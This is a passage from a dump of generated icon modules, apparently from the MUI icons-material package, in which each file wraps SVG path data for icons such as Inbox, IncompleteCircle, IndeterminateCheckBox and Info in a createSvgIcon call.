    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11.01 18 11c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-9c0-.55-.45-.99-1-.99M23 20h-5v-7h5zM20 2H2C.89 2 0 2.89 0 4v12c0 1.1.89 2 2 2h7v2H7v2h8v-2h-2v-2h2v-2H2V4h18v5h2V4c0-1.11-.9-2-2-2m-8.03 7L11 6l-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9z\"\n}), 'ImportantDevicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevicesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11.01 18 11c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-9c0-.55-.45-.99-1-.99M23 20h-5v-7h5zM20 2H2C.9 2 0 2.9 0 4v12c0 1.1.9 2 2 2h7v2H8c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v3c0 .55.45 1 1 1s1-.45 1-1V4c0-1.1-.9-2-2-2m-8.03 7L11 6l-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9z\"\n}), 'ImportantDevicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevicesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11.01 18 11c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-9c0-.55-.45-.99-1-.99M23 20h-5v-7h5zM20 2H2C.9 2 0 2.9 0 4v12c0 1.1.9 2 2 2h7v2H8c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v3c0 .55.45 1 1 1s1-.45 1-1V4c0-1.1-.9-2-2-2m-8.03 7L11 6l-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9z\"\n}), 'ImportantDevicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevicesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 11.01 17 11v11h7zM23 20h-5v-7h5zM22 2H0v16h9v2H7v2h8v-2h-2v-2h2v-2H2V4h18v5h2zM11.97 9 11 6l-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9z\"\n}), 'ImportantDevicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevicesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 11.01 17 11v11h7zM23 20h-5v-7h5zM22 2H0v16h9v2H7v2h8v-2h-2v-2h2v-2H2V4h18v5h2zM11.97 9 11 6l-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9z\"\n}), 'ImportantDevicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevicesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h5v7h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11.01 18 11c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-9c0-.55-.45-.99-1-.99M23 20h-5v-7h5zM2 4h18v5h2V4c0-1.11-.9-2-2-2H2C.89 2 0 2.89 0 4v12c0 1.1.89 2 2 2h7v2H7v2h8v-2h-2v-2h2v-2H2zm9 2-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9h-3.03z\"\n}, \"1\")], 'ImportantDevicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevicesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h5v7h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11.01 18 11c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-9c0-.55-.45-.99-1-.99M23 20h-5v-7h5zM2 4h18v5h2V4c0-1.11-.9-2-2-2H2C.89 2 0 2.89 0 4v12c0 1.1.89 2 2 2h7v2H7v2h8v-2h-2v-2h2v-2H2zm9 2-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9h-3.03z\"\n}, \"1\")], 'ImportantDevicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inbox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H4.99c-1.11 0-1.98.89-1.98 2L3 19c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H4.99V5H19z\"\n}), 'Inbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inbox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H4.99c-1.11 0-1.98.89-1.98 2L3 19c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H4.99V5H19z\"\n}), 'Inbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/InboxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.56c.69 1.19 1.97 2 3.45 2s2.75-.81 3.45-2H19zm0-5h-4.99c0 1.1-.9 2-2 2s-2-.9-2-2H5V5h14z\"\n}), 'InboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InboxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.56c.69 1.19 1.97 2 3.45 2s2.75-.81 3.45-2H19zm0-5h-4.99c0 1.1-.9 2-2 2s-2-.9-2-2H5V5h14z\"\n}), 'InboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InboxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v9h-3.56c-.36 0-.68.19-.86.5-.52.9-1.47 1.5-2.58 1.5s-2.06-.6-2.58-1.5c-.18-.31-.51-.5-.86-.5H5V5z\"\n}), 'InboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InboxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v9h-3.56c-.36 0-.68.19-.86.5-.52.9-1.47 1.5-2.58 1.5s-2.06-.6-2.58-1.5c-.18-.31-.51-.5-.86-.5H5V5z\"\n}), 'InboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InboxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3.01v18H21zm-2 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H5V5h14z\"\n}), 'InboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InboxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3.01v18H21zm-2 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H5V5h14z\"\n}), 'InboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InboxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 18c-1.48 0-2.75-.81-3.45-2H5v3h14v-3h-3.55c-.69 1.19-1.97 2-3.44 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.56c.69 1.19 1.97 2 3.45 2s2.75-.81 3.45-2H19zm0-5h-5c0 1.1-.9 2-2 2s-2-.9-2-2H5V5h14z\"\n}, \"1\")], 'InboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InboxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 18c-1.48 0-2.75-.81-3.45-2H5v3h14v-3h-3.55c-.69 1.19-1.97 2-3.44 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.56c.69 1.19 1.97 2 3.45 2s2.75-.81 3.45-2H19zm0-5h-5c0 1.1-.9 2-2 2s-2-.9-2-2H5V5h14z\"\n}, \"1\")], 'InboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IncompleteCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-2.76 1.12-5.26 2.93-7.07L12 12V2c5.52 0 10 4.48 10 10\"\n}), 'IncompleteCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 10H7v-2h10z\"\n}), 'IndeterminateCheckBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 10H7v-2h10z\"\n}), 'IndeterminateCheckBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBoxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 11h10v2H7z\"\n}), 'IndeterminateCheckBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBoxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 11h10v2H7z\"\n}), 'IndeterminateCheckBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBoxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3 10H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'IndeterminateCheckBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBoxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3 10H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'IndeterminateCheckBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBoxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-4 10H7v-2h10z\"\n}), 'IndeterminateCheckBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBoxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-4 10H7v-2h10z\"\n}), 'IndeterminateCheckBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBoxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm2-8h10v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 11h10v2H7z\"\n}, \"1\")], 'IndeterminateCheckBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IndeterminateCheckBoxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm2-8h10v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 11h10v2H7z\"\n}, \"1\")], 'IndeterminateCheckBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Info.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 15h-2v-6h2zm0-8h-2V7h2z\"\n}), 'Info');"
  },
  {
    "path": "packages/mui-icons-material/lib/Info.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 15h-2v-6h2zm0-8h-2V7h2z\"\n}), 'Info');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm1-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'InfoOutline');"
  },
